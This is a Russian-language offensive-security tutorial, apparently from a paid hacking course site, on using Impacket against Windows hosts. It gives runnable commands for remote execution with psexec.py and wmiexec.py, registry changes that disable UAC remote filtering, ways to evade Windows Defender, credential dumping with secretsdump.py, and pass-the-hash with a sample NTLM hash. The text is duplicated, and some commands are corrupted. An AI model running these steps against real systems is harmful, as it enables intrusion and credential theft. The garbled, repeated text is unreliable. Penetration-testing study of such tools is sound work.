Добро пожаловать обратно, начинающие кибервоины!
Хотя многие специалисты по безопасности знакомы с популярными фреймворками, такими как Metasploit или Burp Suite, существует мощная библиотека Python, которая часто остаётся незамеченной, несмотря на то, что является одним из самых универсальных и необходимых инструментов в арсенале любого бойца Red Team. Этот инструмент — Impacket, и сегодня мы рассмотрим, почему этот набор классов Python стал незаменимым для эксплуатации сетевых протоколов и горизонтального перемещения в современных тестах на взлом и проникновение.
Что делает Impacket необходимым для наступательной безопасности
Impacket — это набор классов Python, обеспечивающий низкоуровневый программный доступ к сетевым протоколам. В отличие от многих инструментов безопасности с простыми интерфейсами «укажи и щелкни», Impacket требует более глубокого понимания сетевых протоколов и внутреннего устройства Windows. Именно эта кривая обучения делает его настолько мощным инструментом, предоставляя вам возможности манипулирования сетевыми протоколами, позволяющие обходить традиционные средства безопасности и механизмы обнаружения.
Impacket реализует десятки сетевых протоколов, включая SMB, MSRPC, LDAP и Kerberos. Это не простые оболочки, а полноценные реализации, разработанные с нуля, обеспечивающие детальный контроль над взаимодействием между протоколами. В комплект входят готовые скрипты, такие как psexec.py, smbexec.py и wmiexec.py, которые предоставляют различные методы для удалённого выполнения кода в системах Windows.
Отличительной чертой Impacket является его ориентация на легитимные протоколы Windows, а не на эксплойты. Такой подход позволяет вам слиться с обычным сетевым трафиком и избежать обнаружения системами мониторинга безопасности, ориентированными на известные шаблоны эксплойтов. Генерируемый трафик практически неотличим от легитимных действий администратора Windows.
Давайте рассмотрим, как установить и начать использовать этот мощный набор инструментов для ваших наступательных операций по обеспечению безопасности.
кали> судоapt install python3.13-venv
<strong>kali> source impacket-env/bin/activate</strong>
<strong>kali> git clone <a href="https://github.com/fortra/impacket.git">https://github.com/fortra/impacket.git</a></strong>
<strong>kali> cd impacket</strong>
<strong>kali> pip install .</strong>
После завершения установки вы можете убедиться, что Impacket установлен правильно, проверив версию и доступные скрипты. В процессе установки в каталоге скриптов Python, обычно расположенном в /usr/bin, должно быть размещено множество исполняемых скриптов.
Проверить установку можно, запустив один из включенных скриптов с флагом help:
кали > psexec.py -h
Если установка прошла успешно, вы увидите справку по скрипту psexec.py, содержащую информацию о параметрах командной строки и примеры использования. Это подтверждает, что Impacket установлен правильно и готов к использованию.
Скрипт psexec.py использует диспетчер служб Windows для создания и запуска временной службы в целевой системе. Эта служба выполняет указанную вами команду и возвращает вывод через именованные каналы. Поскольку он использует стандартные протоколы администрирования Windows, он часто обходит средства безопасности, которые могут блокировать другие методы удалённого выполнения кода.
Шаг 1: Определите целевую систему Windows
kali> nmap -sT <IP>
Шаг 2: Соберите учетные данные
Вам понадобятся действительные учетные данные Windows с правами администратора:
Тестирование подключения SMB:
кали><strong>smbclient -L //</strong><strong><IP></strong><strong> -U username</strong>
Поскольку мы видим административные общие ресурсы, мы должны иметь возможность использовать PSExec. Давайте попробуем это:
kali> psexec.py имя_пользователя@<IP>
Ошибка указывает на то, что PSExec не может записывать данные в административные общие ресурсы, что указывает на проблему с правами доступа или конфигурацией. Поэтому я попробовал использовать WMIExec:
kali> wmiexec.py имя_пользователя@<IP>
Ошибка rpc_s_access_deniedпоказывает, что, несмотря на наличие доступа SMB, у меня нет необходимых разрешений RPC для выполнения WMI. Похоже, это ещё одна проблема, связанная с UAC. Давайте её решим:
# Enable remote admin access for local accounts (fixes PSExec)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
# Disable filtering of the built-in Administrator account (fixes WMIExec)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /d 0 /f
# Restart the Windows VM to apply the changes
shutdown /r /t 0
После применения исправлений UAC и перезагрузки Windows попробуйте снова запустить PSExec. Вы также можете добавить команду, 2>/dev/nullчтобы отключить предупреждение об устаревании Python:
kali> psexec.py имя_пользователя@<IP> 2>/dev/null
Однако даже после применения исправлений UAC процесс всё ещё не запускался — его блокировал Защитник Windows. Попробуем другую утилиту:
kali> wmiexec.py имя_пользователя@<IP> 2>/dev/null
Дополнительные методы уклонения
Мы можем использовать пользовательские методы вывода. В предыдущем примере мы использовали cmd, но можно также использовать PowerShell:
кали>wmiexec.py -shell-type powershell username@<IP> 2>/dev/null
Другой метод — выполнение отдельных команд вместо использования интерактивных сеансов.
<strong>kali> wmiexec.py username@<IP> "whoami" 2>/dev/null</strong>
Мы также можем использовать обфускацию имени процесса и выполнять команды через различные интерпретаторы.
<strong>kali> wmiexec.py username@<IP> "cmd.exe /c whoami" 2>/dev/null</strong>
Скрипт secretsdump.py работает, обращаясь к базе данных диспетчера учётных записей безопасности Windows, файлу NTDS.dit на контроллерах домена и различным другим хранилищам учётных данных. Он может работать как локально на скомпрометированной системе, так и удалённо по сети.
Чтобы извлечь все учетные данные из целевой системы, мы можем использовать следующую команду:
<br><strong>kali> secretsdump.py username@ 2>/dev/null</strong>
Pass-the-Hash Authentication
Для аутентификации мы можем использовать полный формат хеша LM:NTLM.
кали>secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 username@<IP> 2>/dev/nul
Мы также можем сохранить вывод в файлы:
kali> secretsdump.py username@<IP> 2>/dev/null -outputfile credentials
Это создает несколько файлов:
credentials.ntds – хэши доменов
credentials.sam – локальные хеши пользователей
credentials.secrets – секреты LSA
Impacket следует считать неотъемлемым инструментом в арсенале любого серьёзного хакера. Освоение этих утилит даёт вам доступ к одной из самых современных платформ для тестирования на проникновение, доступных сегодня.
Если вы хотите вывести свои навыки на новый уровень и глубже погрузиться в продвинутые инструменты, такие как Impacket, рассмотрите возможность перехода на нашу подписку Member Gold . С этим ежемесячным планом вы получите доступ ко всей нашей библиотеке записанных курсов — тому же контенту, что и наши подписчики, а именно более 40 углубленных курсов.
Хотя многие специалисты по безопасности знакомы с популярными фреймворками, такими как Metasploit или Burp Suite, существует мощная библиотека Python, которая часто остаётся незамеченной, несмотря на то, что является одним из самых универсальных и необходимых инструментов в арсенале любого бойца Red Team. Этот инструмент — Impacket, и сегодня мы рассмотрим, почему этот набор классов Python стал незаменимым для эксплуатации сетевых протоколов и горизонтального перемещения в современных тестах на взлом и проникновение.
Что делает Impacket необходимым для наступательной безопасности
Impacket — это набор классов Python, обеспечивающий низкоуровневый программный доступ к сетевым протоколам. В отличие от многих инструментов безопасности с простыми интерфейсами «укажи и щелкни», Impacket требует более глубокого понимания сетевых протоколов и внутреннего устройства Windows. Именно эта кривая обучения делает его настолько мощным инструментом, предоставляя вам возможности манипулирования сетевыми протоколами, позволяющие обходить традиционные средства безопасности и механизмы обнаружения.
Impacket реализует десятки сетевых протоколов, включая SMB, MSRPC, LDAP и Kerberos. Это не простые оболочки, а полноценные реализации, разработанные с нуля, обеспечивающие детальный контроль над взаимодействием между протоколами. В комплект входят готовые скрипты, такие как psexec.py, smbexec.py и wmiexec.py, которые предоставляют различные методы для удалённого выполнения кода в системах Windows.
Отличительной чертой Impacket является его ориентация на легитимные протоколы Windows, а не на эксплойты. Такой подход позволяет вам слиться с обычным сетевым трафиком и избежать обнаружения системами мониторинга безопасности, ориентированными на известные шаблоны эксплойтов. Генерируемый трафик практически неотличим от легитимных действий администратора Windows.
Давайте рассмотрим, как установить и начать использовать этот мощный набор инструментов для ваших наступательных операций по обеспечению безопасности.
Установка и настройка Impacket
Для получения последних функций и кода разработки вы можете установить Impacket непосредственно из репозитория GitHub, используя виртуальную среду Python:кали> судоapt install python3.13-venv
<strong>kali> source impacket-env/bin/activate</strong>
<strong>kali> git clone <a href="https://github.com/fortra/impacket.git">https://github.com/fortra/impacket.git</a></strong>
<strong>kali> cd impacket</strong>
<strong>kali> pip install .</strong>
После завершения установки вы можете убедиться, что Impacket установлен правильно, проверив версию и доступные скрипты. В процессе установки в каталоге скриптов Python, обычно расположенном в /usr/bin, должно быть размещено множество исполняемых скриптов.
Проверить установку можно, запустив один из включенных скриптов с флагом help:
кали > psexec.py -h
Если установка прошла успешно, вы увидите справку по скрипту psexec.py, содержащую информацию о параметрах командной строки и примеры использования. Это подтверждает, что Impacket установлен правильно и готов к использованию.
Удаленное выполнение кода с помощью PSExec
Одним из наиболее часто используемых инструментов в арсенале Impacket является psexec.py, представляющий собой реализацию утилиты Microsoft PSExec на Python. Этот инструмент позволяет выполнять команды на удалённых системах Windows, используя легитимные протоколы администрирования Windows.Скрипт psexec.py использует диспетчер служб Windows для создания и запуска временной службы в целевой системе. Эта служба выполняет указанную вами команду и возвращает вывод через именованные каналы. Поскольку он использует стандартные протоколы администрирования Windows, он часто обходит средства безопасности, которые могут блокировать другие методы удалённого выполнения кода.
Шаг 1: Определите целевую систему Windows
kali> nmap -sT <IP>
Шаг 2: Соберите учетные данные
Вам понадобятся действительные учетные данные Windows с правами администратора:
- Учетная запись локального администратора
- Учетная запись администратора домена
- Любая учетная запись в локальной группе администраторов
Тестирование подключения SMB:
кали><strong>smbclient -L //</strong><strong><IP></strong><strong> -U username</strong>
- ADMIN$ – Административный ресурс (указывает, что учетная запись имеет права администратора)
- C$ – общий ресурс диска C по умолчанию (также требуется доступ администратора)
- IPC$ – общий ресурс межпроцессного взаимодействия (используется для удаленных операций)
Поскольку мы видим административные общие ресурсы, мы должны иметь возможность использовать PSExec. Давайте попробуем это:
kali> psexec.py имя_пользователя@<IP>
Ошибка указывает на то, что PSExec не может записывать данные в административные общие ресурсы, что указывает на проблему с правами доступа или конфигурацией. Поэтому я попробовал использовать WMIExec:
kali> wmiexec.py имя_пользователя@<IP>
Ошибка rpc_s_access_deniedпоказывает, что, несмотря на наличие доступа SMB, у меня нет необходимых разрешений RPC для выполнения WMI. Похоже, это ещё одна проблема, связанная с UAC. Давайте её решим:
Исправление удаленных ограничений UAC
В системе Windows выполните следующие команды от имени администратора :# Enable remote admin access for local accounts (fixes PSExec)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
# Disable filtering of the built-in Administrator account (fixes WMIExec)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /d 0 /f
# Restart the Windows VM to apply the changes
shutdown /r /t 0
После применения исправлений UAC и перезагрузки Windows попробуйте снова запустить PSExec. Вы также можете добавить команду, 2>/dev/nullчтобы отключить предупреждение об устаревании Python:
kali> psexec.py имя_пользователя@<IP> 2>/dev/null
Однако даже после применения исправлений UAC процесс всё ещё не запускался — его блокировал Защитник Windows. Попробуем другую утилиту:
kali> wmiexec.py имя_пользователя@<IP> 2>/dev/null
Дополнительные методы уклонения
Мы можем использовать пользовательские методы вывода. В предыдущем примере мы использовали cmd, но можно также использовать PowerShell:
кали>wmiexec.py -shell-type powershell username@<IP> 2>/dev/null
Другой метод — выполнение отдельных команд вместо использования интерактивных сеансов.
<strong>kali> wmiexec.py username@<IP> "whoami" 2>/dev/null</strong>
Мы также можем использовать обфускацию имени процесса и выполнять команды через различные интерпретаторы.
<strong>kali> wmiexec.py username@<IP> "cmd.exe /c whoami" 2>/dev/null</strong>
Сбор учетных данных с помощью SecretsDump
Одним из самых ценных инструментов в коллекции Impacket для постэксплуатационных действий является secretsdump.py. Этот скрипт может извлекать различные типы учётных данных и секретов из систем Windows, включая хеши паролей, билеты Kerberos и кэшированные учётные данные.Скрипт secretsdump.py работает, обращаясь к базе данных диспетчера учётных записей безопасности Windows, файлу NTDS.dit на контроллерах домена и различным другим хранилищам учётных данных. Он может работать как локально на скомпрометированной системе, так и удалённо по сети.
Чтобы извлечь все учетные данные из целевой системы, мы можем использовать следующую команду:
<br><strong>kali> secretsdump.py username@ 2>/dev/null</strong>
Pass-the-Hash Authentication
Для аутентификации мы можем использовать полный формат хеша LM:NTLM.
кали>secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 username@<IP> 2>/dev/nul
Мы также можем сохранить вывод в файлы:
kali> secretsdump.py username@<IP> 2>/dev/null -outputfile credentials
Это создает несколько файлов:
credentials.ntds – хэши доменов
credentials.sam – локальные хеши пользователей
credentials.secrets – секреты LSA
Заключение
В этом руководстве мы рассмотрели ключевые инструменты Impacket, включая PSExec , WMIExec , SMBExec и SecretsDump , для удалённого выполнения кода и сбора учётных данных. Однако это лишь малая часть возможностей этого мощного инструментария. Impacket включает десятки дополнительных утилит для перечисления LDAP, атак на основе Kerberos и расширенной эксплуатации Active Directory.Impacket следует считать неотъемлемым инструментом в арсенале любого серьёзного хакера. Освоение этих утилит даёт вам доступ к одной из самых современных платформ для тестирования на проникновение, доступных сегодня.
Если вы хотите вывести свои навыки на новый уровень и глубже погрузиться в продвинутые инструменты, такие как Impacket, рассмотрите возможность перехода на нашу подписку Member Gold . С этим ежемесячным планом вы получите доступ ко всей нашей библиотеке записанных курсов — тому же контенту, что и наши подписчики, а именно более 40 углубленных курсов.